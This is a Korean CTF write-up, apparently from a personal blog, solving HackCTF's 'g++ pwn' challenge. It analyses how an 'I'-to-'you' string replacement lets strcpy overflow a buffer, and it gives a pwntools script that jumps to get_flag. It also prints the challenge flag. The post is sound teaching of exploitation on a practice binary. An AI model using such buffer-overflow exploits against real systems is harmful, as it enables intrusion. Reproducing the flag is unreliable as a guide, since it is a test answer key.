[Pwnable] g++ pwn
Wargame/HackCTF

[Pwnable] g++ pwn

오늘은 g++ pwn 문제에 대해서 정리를 해보려한다.

 

32bit ELF파일이며 다이나믹 링킹되어 있다.

 

NX만 enabled 되어 있으므로 쉘 코드 사용은 힘들어 보인다.

 

바로 아이다로 열어보자.

 

main()

메인 함수에는 별게 없으니 넘기자

 

vuln()

HackCTF에서는 처음 C++ 바이너리를 보는거 같다.

 

하나하나 분석을 해보자

 

우선 fgets로 입력을 받을 때 length check를 해주니 BOF는 힘들거 같다.

 

코드를 유심히 보면 replace 함수가 있다.

 

맞다. "I"라는 문자를 입력하게 되면 "you"라는 문자열로 변환을 해준다.

 

그럼 우리는 strcpy 함수를 이용해서 BOF를 터트릴 수 있다.

 

익스를 구상해보자면

 


1. "I"를 이용해서 buffer 0x3C만큼 채우기

2. Dummy 값으로 SFP 채우기

3. 쉘 띄우기


근데 쉘을 어떻게 띄워야 될까?

 

다행히도 get_flag()라는 함수가 있다.

 

이제 익스에 필요한 정보가 다 있으니 코드를 작성해보자

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3011)

get_flag = 0x8048f0d

payload = "I"*20
payload += "A"*4
payload += p32(get_flag)

p.sendline(payload)
p.interactive()

 이렇게 작성을 해주면

 

 

플래그를 획득할 수 있다!

 

FLAG = HackCTF{It's_e4si3r_th4n_y0u_th1nk!}

'Wargame > HackCTF' 카테고리의 다른 글

[Reversing] Handray  (0) 2021.02.04
[Pwnable] Poet  (0) 2021.02.04
[Pwnable] RTL_World  (0) 2021.02.01
[Misc] Baseball Price & BF  (0) 2020.11.22
[Pwnable] Yes or no  (0) 2020.11.22